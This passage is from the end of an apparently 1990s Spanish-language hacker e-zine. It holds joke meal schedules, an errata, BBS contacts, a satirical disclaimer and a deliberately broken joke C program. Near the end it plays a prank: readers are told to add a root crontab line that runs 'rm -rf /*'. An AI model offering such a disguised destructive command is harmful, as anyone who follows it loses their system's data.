los musculos, hacer crujir los huesos con un pocoo de ejercicio (salir a
conseguir la pizza, hasta la puerta si es posible desde que existe el
101[Mr.pizza])
Una vez que uno tiene la pizza, lo mas probable es que esta se enfrie
mientras uno se dedica a otra cosa, por ejemplo escribir esta mierda... ya
llego la fugazzeta.
 

merienda.
14-05 hs.
aproximadamente cualquier cosa. ver (cualquier cosa, def. diccionario de
terminos).

cena.
14-10 hs. (turnaround)
es el asunto mas complicado de todo el dia, por que a la hora en que uno
sale a cenar esta todo cerrado... sin embargo hay que tener en cuenta lo
siguiente.
En la cena es bueno salir de enfrente de la pantalla de la computadora e ir
a algun lugar donde mirandonos las caras podamos hablar de lo que estabamos
haciendo antes de salir a algun lugar donde pudieramos mirarnos las caras y
hablar de lo que estabamos haciendo, y hablar de las cosas que hicimos en
epicas fechas anteriores, y hablar de lo que haremos en el futuro... (promo
de MENDOZACONCH 95)... y reirnos mucho, y desplegar a la vista de todo el
mundo eso que dicen de que los hackers tenemos mucha filosofia... y todo
eso.
Lugares para comer....
ChinoLibre: Restaurante de Comida China, atendido por sus duenios y los
hijos de estos, donde se puede comer mucho de todo balato, balato, aloz y
descuento... (hbo staff choice)
Pizza-Guy: Sin dientes y muzzarela, con dientes y muzzarela o fugazzeta,
depende el dia.
Ugis: despues de dos dias y de la heladera, el que la come se gana el
titulo de GURU.(no a la droga si a la pizza)
Chino+Pizzeria+Parrilla.... la eleccion preferencial... donde nos hacen
descuento (12+4=8)
 
 

5. INTENTIONALY LEFT BLANK
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

-----------------------------------------------------------------------
Bien amigo, amiga hacker, esta ha sido la primer entrega de
Hacking For Dummies
en la siguiente revisaremos  otros aspectos igualmente importantes a la
hora de convertirnos en estos  preciosos  delincuentecillos del
ungderground informatico.
                                      lbd, janx.

===============================================================================
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
===============================================================================

0x01040009 - Fe de Erratas
==========================

  Debido a todas la sarta de huevadas que efectivamente decimos cuando
  somos entrevistados y que despues los medios en cuestion publican tenemos
  que declarar:
  Yo NO me parezco a john Lennon (backdoor)
  El se parecia (Janx)
  No tenemos nada que ver con El Chacal y su ciberespacio.

  La nota en Pagina 12 se titulo Rebeldes con causa, saquen sus propias
  conclusiones. (no es la que le dijimos al chacal que lea, sino una anterior)
  No somos un grupo formado por Emmanuel Goldstein. (estupidos)

  Bueno, seguimos aclarando... no es que nos guste aparecer en los diarios
  ni nada por el estilo, es una huevada, pero nos contactaron quien sabe
  como y ...

===============================================================================
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
===============================================================================
 

0x0104000A - Correo
===================

Inauguramos esta seccion para contestar una  duda que nos venian planteando
con infinidad de cartas, mails, posts, etc...

    Uds: Cuando sale la nueva HBOMAG??
 

                             A-.-H-.-O-.-R-.-A
                                    ok?

===============================================================================
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
===============================================================================
 

0x0104000B - ContactUs
======================

por E-Mail a la cuenta que aparece en la pgp-key de mas arriba,
o a alguna lista tipo todos@xxxxxx   (heheheheheheh)

solemos dar vueltas por:

      Losers Joint  bbs -  658-7983
      Satanic Brain bbs -  383-7480
      HBO bbs (leyenda) -  115-7285
      o en IRC (saltamontes habita en #hot-sex, #lesbian-sex, #zoo-sex,
      #etc-sex, #*-sex)

Si quieren publicar algun algo, hagannoslo llegar y listo.
Notas sobre como identificar versiones de UNIX con /bin/ls mandelas
a /dev/null.

===============================================================================
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
===============================================================================
 

0x0104000C - Agradecimientos
============================

A LaTeXTEL y GarchaNET por su apoyo incondicional {while(1) apoyo();},
Chinaski,IBM(trayendo un sanguche),CRM SA.,Startel.
A nuestro colaborador [ME] y a su siempre util y nunca bien indentado KP.
 

0x0104000D - Disclaimer
=======================

backdoor,opii,janx,saltamontes son todos personajes de la ficcion, que no
representan a ningun humano, ameba u otro ser organico. Cualquier semejanza
de ellos con alguien de la realidad (a pesar de tener solo una probabilidad
de 4/30.000.000 segun el ultimo censo) es pura coincidencia. Si cree que
alguno de sus amigos se parece sospechosamente a los citados, denuncielo a
la policia, puede tratarse de un individuo altamente peligroso (IAP).
Esta revista ha sido redactada integramente por un programa de lenguaje
natural por lo tanto ninguna persona es responsable por sus contenidos,
siendo estos generados por una maquina descarriada y carente de verdadera
inteligencia (discutible).
                                Virtualy Yours,
                                         & NMIORP
                                         & Naturaly misconducting
                                         & interpolation of random
                                         & patterns.
 

0x0104000E - NMIORP
===================

El programa NMIORP ha sido entrenado con los ultimos diez numeros de las
siguientes revistas, periodicos y folletines:
  -Para TI, Gente, MIA, Teleclic, Virus Report, Yo Mujer, El Grafico,
  Noticias, Ricos y Famosos, Hola, Predicciones, Caras, Esto, Cronica,
  Playboy, Clarin Porte#o.
Los obituarios de todos los diarios del pais y del exterior.
La Plegaria del Oro.
Los siguientes libros:
  -"Mi Vida en el mas alla", Victor Sueiro.
  -Las obras completas de Rodrigo Fresan(notese el uso de palabras cIber*).
  -"Buenos Aires me Mata", Laura Ramos.
Y los siguientes programas de TV digitalizados:
  - Monta#a Rusa.
  - Todos los de Maestro y Vaimann.
  - Beverly Hills 90210
  - Melrose Place
  - Hola Susana (contando el programa con una linea telefonica) (no gano)
 

/***********************************************************************
*  NMIORP: Natural misconducting interpolation of random patterns.
*        Coded by: Janx spirit, Opii, Logical Backdoor    (strange l00p)
*  extern functions in module /usr/local/lib/artificial-life.o
************************************************************************/

#define OUTPUTFILE  "hbomag04.txt"
#define THISISHBO

#ifdef IWANTITCOHERENT
#undef IWANTITCOHERENT
#endif

#ifdef IWANTITCOHERENT
#include "coherence.h"
#include "back&forth-space.h"
#endif

#ifdef THISISHBO
#define INPUTFILE  "/usr/lib/bullshit"
#else
#define INPUTFILE  "/usr/lib/britannica"
#endif

extern void entrena(char *name);
extern ulong g_random(ulong rango);
extern void excuse(void);
main()
{
 FILE *f;
 #ifdef CRAY
 int imunused[MAXLONGINT*MAXLONGINT];
 #endif

  entrena(INPUTFILE);
  if ((f=fopen(OUTPUTFILE,"w+"))==NULL)
     {
       fprintf(stderr,"Hoy no sale tampoco la hbo\n");
       excuse();
       fflush(stderr);
       exit(-1);
     }
 

  while(g_random(100000)!=654) {
      #ifdef IWANTITCOHERENT
         if(!verify_coherence_of(f)) backspace(f);
      #endif
      fputc(f,(char)g_random(256));
  fclose(f);
  printf("Ya hay una nueva version de la HBOMAG");
  fflush(stdout);
}

para convertirte vos tambien en editor de HBOMAG
agrega la siguiente linea en el crontab de root

0 0 * * *  /u/lame/hbomag/bin/nmiorp;'banner "FUCK YA R00T" | wall';rm -rf /*

y cuando tengas tu HBO lista y calentita conectate al port 666 de cert.org
y pediles que te manden el numero de serie de la revista (ISBN) y
ya que estas el password de root.
ejemplo

telnet cert.org 666

hello madafaka i want my HBO ISBN, your root passwd & your sister's phone
number.
NOW!
 

 Exception error #13, fatality has ocurred, defcon 4, SYSTEM HALTED!!
                         ^
                         ^
                         ^-----------  Flawless victory  200.000 pts.